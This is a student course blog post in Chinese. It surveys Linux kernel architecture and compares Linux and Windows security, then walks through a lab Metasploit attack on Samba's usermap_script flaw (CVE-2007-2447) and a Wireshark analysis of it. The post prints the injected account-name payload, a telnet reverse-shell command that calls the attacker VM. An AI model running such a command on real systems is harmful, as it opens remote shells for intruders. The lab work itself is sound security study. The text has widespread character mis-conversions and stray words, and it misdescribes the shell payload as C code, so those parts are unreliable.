本博客屬於課程:《網絡攻防實踐》
本次做業:《第八週做業》
我在這個課程的目標:掌握知識與技能,加強能力和本領,提升悟性和水平。html
Linux的總體架構以下圖所示:linux
最內層是硬件,最外層是用戶經常使用的應用,好比說firefox瀏覽器,evolution查看郵件,一個計算流體模型等等。硬件是物質基礎,而應用提供服務。但在二者之間,還要通過一番周折。
還記得Linux啓動。Linux首先啓動內核 (kernel),內核是一段計算機程序,這個程序直接管理管理硬件,包括CPU、內存空間、硬盤接口、網絡接口等等。全部的計算機操做都要經過內核傳遞給硬件。
爲了方便調用內核,Linux將內核的功能接口製做成系統調用(system call)。系統調用看起來就像C語言的函數。你能夠在程序中直接調用。Linux系統有兩百多個這樣的系統調用。用戶不須要了解內核的複雜結構,就可使用內核。系統調用是操做系統的最小功能單位。一個操做系統,以及基於操做系統的應用,都不可能實現超越系統調用的功能。web
內核是操做系統的核心,具備不少最基本功能,它負責管理系統的進程、內存、設備驅動程序、文件和網絡系統,決定着系統的性能和穩定性。
Linux 內核由以下幾部分組成:內存管理、進程管理、設備驅動程序、文件系統和網絡管理等。如圖:算法
系統調用接口:SCI 層提供了某些機制執行從用戶空間到內核的函數調用。這個接口依賴於體系結構,甚至在相同的處理器家族內也是如此。SCI 其實是一個很是有用的函數調用多路複用和多路分解服務。
。shell
內存管理
對任何一臺計算機而言,其內存以及其它資源都是有限的。爲了讓有限的物理內存知足應用程序對內存的大需求量,Linux 採用了稱爲「虛擬內存」的內存管理方式。Linux 將內存劃分爲容易處理的「內存頁」(對於大部分體系結構來講都是 4KB)。Linux 包括了管理可用內存的方式,以及物理和虛擬映射所使用的硬件機制。
不過內存管理要管理的可不止 4KB 緩衝區。Linux 提供了對 4KB 緩衝區的抽象,例如 slab 分配器。這種內存管理模式使用 4KB 緩衝區爲基數,而後從中分配結構,並跟蹤內存頁使用狀況,好比哪些內存頁是滿的,哪些頁面沒有徹底使用,哪些頁面爲空。這樣就容許該模式根據系統須要來動態調整內存使用。
爲了支持多個用戶使用內存,有時會出現可用內存被消耗光的狀況。因爲這個緣由,頁面能夠移出內存並放入磁盤中。這個過程稱爲交換,由於頁面會被從內存交換到硬盤上。內存管理的源代碼能夠在 ./linux/mm 中找到。編程
進程管理
進程實際是某特定應用程序的一個運行實體。在 Linux 系統中,可以同時運行多個進程,Linux 經過在短的時間間隔內輪流運行這些進程而實現「多任務」。這一短的時間間隔稱爲「時間片」,讓進程輪流運行的方法稱爲「進程調度」 ,完成調度的程序稱爲調度程 序。
進程調度控制進程對CPU的訪問。當須要選擇下一個進程運行時,由調度程序選擇最值得運行的進程。可運行進程其實是僅等待CPU資源的進程,若是某個進程在等待其它資源,則該進程是不可運行進程。Linux使用了比較簡單的基於優先級的進程調度算法選擇新的進程。
經過多任務機制,每一個進程可認爲只有本身獨佔計算機,從而簡化程序的編寫。每一個進程有本身單獨的地址空間,而且只能由這一進程訪問,這樣,操做系統避免了進程之間的互相干擾以及「壞」程序對系統可能形成的危害。 爲了完成某特定任務,有時須要綜合兩個程序的功能,例如一個程序輸出文本,而另外一個程序對文本進行排序。爲此,操做系統還提供進程間的通信機制來幫助完成這樣的任務。Linux 中常見的進程間通信機制有信號、管道、共享內存、信號量和套接字等。
內核經過 SCI 提供了一個應用程序編程接口(API)來建立一個新進程(fork、exec 或 Portable Operating System Interface [POSⅨ] 函數),中止進程(kill、exit),並在它們之間進行通訊和同步(signal 或者 POSⅨ 機制)。windows
文件系統
和 DOS 等操做系統不一樣,Linux 操做系統中單獨的文件系統並非由驅動器號或驅動器名稱(如 A: 或 C: 等)來標識的。相反,和 UNIX 操做系統同樣,Linux 操做系統將獨立的文件系統組合成了一個層次化的樹形結構,而且由一個單獨的實體表明這一文件系統。Linux 將新的文件系統經過一個稱爲「掛裝」或「掛上」的操做將其掛裝到某個目錄上,從而讓不一樣的文件系統結合成爲一個總體。Linux 操做系統的一個重要特色是它支持許多不一樣類型的文件系統。Linux 中最廣泛使用的文件系統是 Ext2,它也是 Linux 土生土長的文件系統。但 Linux 也可以支持 FAT、VFAT、FAT3二、MINIX 等不一樣類型的文件系統,從而能夠方便地和其它操做系統交換數據。因爲 Linux 支持許多不一樣的文件系統,而且將它們組織成了一個統一的虛擬文件系統.
虛擬文件系統(VirtualFileSystem,VFS):隱藏了各類硬件的具體細節,把文件系統操做和不一樣文件系統的具體實現細節分離了開來,爲全部的設備提供了統一的接口,VFS提供了多達數十種不一樣的文件系統。虛擬文件系統能夠分爲邏輯文件系統和設備驅動程序。邏輯文件系統指Linux所支持的文件系統,如ext2,fat等,設備驅動程序指爲每一種硬件控制器所編寫的設備驅動程序模塊。
虛擬文件系統(VFS)是 Linux 內核中很是有用的一個方面,由於它爲文件系統提供了一個通用的接口抽象。VFS 在 SCI 和內核所支持的文件系統之間提供了一個交換層。即VFS 在用戶和文件系統之間提供了一個交換層。
在 VFS 上面,是對諸如 open、close、read 和 write 之類的函數的一個通用 API 抽象。在 VFS 下面是文件系統抽象,它定義了上層函數的實現方式。它們是給定文件系統(超過 50 個)的插件。文件系統的源代碼能夠在 ./linux/fs 中找到。
文件系統層之下是緩衝區緩存,它爲文件系統層提供了一個通用函數集(與具體文件系統無關)。這個緩存層經過將數據保留一段時間(或者隨即預先讀取數據以便在須要是就可用)優化了對物理設備的訪問。緩衝區緩存之下是設備驅動程序,它實現了特定物理設備的接口。
所以,用戶和進程不須要知道文件所在的文件系統類型,而只須要象使用 Ext2 文件系統中的文件同樣使用它們。瀏覽器
設備驅動程序
設備驅動程序是 Linux 內核的主要部分。和操做系統的其它部分相似,設備驅動程序運行在高特權級的處理器環境中,從而能夠直接對硬件進行操做,但正由於如此,任何一個設備驅動程序的錯誤均可能致使操做系統的崩潰。設備驅動程序實際控制操做系統和硬件設備之間的交互。設備驅動程序提供一組操做系統可理解的抽象接口完成和操做系統之間的交互,而與硬件相關的具體操做細節由設備驅動程序完成。通常而言,設備驅動程序和設備
的控制芯片有關,例如,若是計算機硬盤是 SCSI 硬盤,則須要使用 SCSI 驅動程序,而不是 IDE 驅動程序。緩存
網絡接口(NET)
提供了對各類網絡標準的存取和各類網絡硬件的支持。網絡接口可分爲網絡協議和網絡驅動程序。網絡協議部分負責實現每一種可能的網絡傳輸協議。衆所周知,TCP/IP 協議是 Internet 的標準協議,同時也是事實上的工業標準。Linux 的網絡實現支持 BSD 套接字,支持所有的TCP/IP協議。Linux內核的網絡部分由BSD套接字、網絡協議層和網絡設備驅動程序組成。
網絡設備驅動程序負責與硬件設備通信,每一種可能的硬件設備都有相應的設備驅動程序安全
人們都說Linux很安全,較之Windows更安全?
安全性並非針對某個產品自己而言的。它是一整套以用戶爲核心的體系。安全性指的是在用戶和軟件之間,經過適當的交互方式,所達成的一種活躍狀態。
更加卓越的補丁管理工具:
在微軟的Windows系統中,自動更新程序只會升級那些由微軟公司官方所提供的組件。而第三方的應用程序卻不會獲得修補。從而,第三方的應用程序可能會給你的系統帶來大量的安全隱患。你在使用Real player播放器嗎?你須要單獨升級它。在使用Flash?你仍是須要單獨進行升級。依此類推,對於電腦上全部的應用程序,你都須要按期地對每一款軟件單獨進行更新升級。這種方法很是的繁瑣,而且讓人心煩,而絕大多數用戶很快就將這項工做忘到九霄雲外去了。
而在Linux系統中,當你在自動更新系統的時候,它將同時升級系統中全部的軟件。在Ubuntu系統中,你所下載的任何軟件產品,都會出如今系統的程序倉庫當中,要升級它,你只須要用鼠標輕輕一點。而在其它Linux發行版本中,若是下載的軟件並無出如今系統的程序倉庫中,要添加它也是很是的簡便。這樣的設計,極大地提升了用戶實時更新系統的積極性。
更加健壯的默認設置:
Linux系統天生就被設計成一個多用戶的操做系統。所以,即使是某個用戶想要進行惡意破壞,底層系統文件依然會受到保護。假如,在很是不幸的狀況下,有任何遠程的惡意代碼在系統中被執行了,它所帶來的危害也將被侷限在一個小小的局部之中。
與之造成鮮明對照的是微軟的Windows XP系統。在這裏,用戶會默認以系統管理員的身份登陸,而在系統中所發生的任何損害,都會迅速蔓延到整個系統之中。微軟最新的Windows Vista系統讓用戶在默認設置下以受限用戶的身份登陸,所以它要比本身的前任更加安全一點。
模塊化設計:
Linux系統採用的是模塊化設計。這表示,若是不須要的話,你能夠將任何一個系統組件給刪除掉。由此而帶來的一個好處是,若是用戶感受Linux系統的某個部分不太安全,他就能夠移除掉這個組件。這對於Windows系統來講,簡直是難以想象的。好比說,若是我感受對於本身的Linux系統來講,Firefox網絡瀏覽器是最薄弱的一個環節,我徹底能夠刪除掉它,用其它網絡瀏覽器來替代,好比說Opera。而在Windows系統當中,即使是再不滿意,我也沒法替換微軟的Internet Explorer網絡瀏覽器。
更棒的「零日攻擊(zero-day attacks)」防護工具
即使你能確保本身的系統實時更新,這也並不表明着萬無一失!零日攻擊(zero-day attacks,指的是在軟件生產廠商發佈針對漏洞的更新補丁以前,就搶先利用該漏洞發動網絡攻擊的攻擊方式)正在變得日益猖獗。此外,一項調查研究也顯示:對於攻擊者來講,他們只須要6天時間就可以開發出針對漏洞的惡意攻擊代碼,而軟件生產廠商們卻須要花費長得多的時間纔可以推出相應的更新補丁。所以,一套睿智的安全策略在防護零日攻擊方面相當重要。微軟的Windows XP系統並無提供這樣的一套防護機制。而新的Vista系統,在保護模式狀態之下,雖然有必定效果,可是也只能對針對Internet Explorer網絡瀏覽器的攻擊提供一點有限的保護。
與之相對應的是,不管是何種類型的遠程遙控代碼攻擊,AppArmor或SELinux,都可以爲系統提供細緻而周全的保護。有愈來愈多的主流Linux發行版本,在系統中都默認整合了AppArmor(例如,SuSE、Ubuntu Gutsy)或者SELinux(Fedora、Debian Etch、Yellow Dog)。即使是對於其它發行版原本說,用戶也能夠很是方便地從網絡上下載並安裝這兩套軟件。
開放源代碼構架:
在Linux系統中,當談論到系統安全性的時候,用「你所看到的,就是你所獲得的」這句話來形容,是再合適也不過了。開放源代碼意味着,任何可能的軟件漏洞都將被「無數雙眼睛」所看到,而且獲得儘量快的修復。而更重要的是,這同時也意味着,在這裏沒有任何被隱藏的修復措施。做爲用戶,只要你有心,就能夠找出本身系統所存在的安全問題,並採起相應的防範措施以應對潛在的安全威脅,即使是在此時該漏洞尚未被修補。
而在Windows世界當中,有不少安全問題都是被掩蓋起來的。微軟公司內部所發現的軟件漏洞,是不會讓外界所知曉的,而他們所想的只是在下一個更新升級包中對它進行默默地修補就能夠了。雖然這樣作可讓被公開的軟件漏洞數目更少,並讓某些漏洞不會被大規模地利用,但這種作法同時也矇蔽了用戶的雙眼。由此所致使的結果是,用戶極可能不會積極地對系統進行升級,由於他不瞭解本身的系統存在着什麼樣的漏洞,以及這些漏洞的危害大小,結果反而會成爲惡意攻擊的犧牲品。
多樣化的系統環境:
Windows的系統環境能夠說是千篇一概。這種巨大的一致性讓攻擊者們在編寫惡意代碼、病毒或其它諸如此類的一些東西時顯得駕輕就熟。反過來,看一看Linux系統世界。在這裏,應用程序能夠是.deb、.rpm,或源代碼,以及其它諸如此類的等等。這種差別性讓攻擊者們很難在Linux系統身上得到像Windows系統那樣的普遍影響。
漏洞的時間線:
根據我的喜愛,我選用了msfconsole,這是metasploit針對命令行的操做界面
(msfgui是圖形化的界面,相對更加簡便)
(msfweb則是利用web注入進行反代理,和上面兩種同樣,都是利用模塊和腳本進行快速攻擊)
因爲這個漏洞是針對linux的漏洞,故而攻擊軟件對於targets僅有Auto(經過我的嘗試,auto是最好的,完美匹配各類操做系統,避免了因選錯而致使的問題,同時在payload上默認也是針對shell的payload,若有額外須要能夠更改,否則也是auto最方便,,,如今連攻擊程序都智能了 ).
設置咱們的攻擊地址lhost爲192.168.220.4(VMware的Kali虛擬機),設置攻擊地址爲192.168.220.8(VMware的Metasploitable2虛擬機)
顯然咱們進入了靶機的shell,攻擊結束,針對windows的攻擊能夠見個人上一篇博客:針對windows的漏洞攻擊
防守方用wireshark捕獲到了攻擊的包(沒用metasploit操做系統下的補包軟件,命令行的補包軟件可讀性仍是差了太多,這裏使用windows下的操做系統對VMWare的整個Nat子網進行監控,成功捕獲到了攻擊的數據包)
看到包的一瞬間我「傻了」,跟咱們上次分析的包不一樣,此次攻擊過程短的可怕,也因而可知這個古老的漏洞真的異常危險。
Tcp連接在數據包記錄的前三條,這個tcp連接創建很是順利
分析第一條SMB包(這個usermap_script安全漏洞也是利用了SMB包進行攻擊,和上一次的windows的棧溢出雷同)
正常的SMB連接創建過程應當以下:
- Negotiate Protocol Request: 在在用戶輸入「\服務器名\」以後,首先要作的就是把服務器名解析爲IP,能夠經過DNS仍是NetBIOS解析。獲得IP地址後,客戶端就向服務器發送第一個SMB請求:「Negotiate Protocol Request」。這個請求包含了客戶端所支持的各類 SMB Dialect。
- Negotiate Protocol Response: 服務器收到該請求後,選擇一個它支持的最新版本(好比NT LM 0.12),再經過「Negotiate Protocol Response」回覆給客戶端
- Session Setup Request: Negotiation 結束以後,,客戶端請求和服務器創建一個session,在客戶端發送的Session Setup Request裏,包含了身份驗證請求(如Kerberos的AP_REQ)。
可是,這裏咱們的攻擊機在登陸過程傳遞的SMB包中的Account並不是一個正常的Account帳戶名該有的樣子,給到的是一串代碼:
Account: /=nohup sh -c '(sleep 3957|telnet 192.168.220.4 4444|while : ; do sh && break; done 2>&1|telnet 192.168.220.4 4444 >/dev/null 2>&1 &)'
對這段代碼的意思進行解釋:
因爲漏洞的存在,使得咱們在登陸的時候,用戶名能夠被靶機映射爲腳本並執行,
nohup sh
命令爲在後臺創建一個線程,因爲參數-C
的存在,這裏就使得靶機在後臺執行括號裏的C語言命令,而括號裏的C語言命令意思是在後臺執行talnet連接,連接咱們的攻擊機,並且這種連接在while循環下,會不停的進行sh命令創建後臺線程而且不停的telnet連接攻擊機
這個攻擊包咱們在網上搜索smb用戶名映射腳本漏洞,便可搜索到這個漏洞CVE-2007-2447,也即usermap_script安全漏洞
修補用的補丁應當在出問題的地方其所歸屬的官方網站查找,這裏提供修補網址,在修補網址中咱們能夠找到漏洞CVE-2007-2447的[補丁](https://download.samba.org/pub/samba/patches/security/samba-3.0.24-CVE-2007-2446_v2.patch) 補丁的作法就是在全部未知的用戶登陸信息的字符以前,加一個前面''字符,而且僅支持安全鏈接和安全的調用shell,若是用戶名爲空則馬上丟失連接,這樣就能夠避免攻擊者利用帳戶名將攻擊代碼映射爲腳本,如此一來就能夠抵禦攻擊。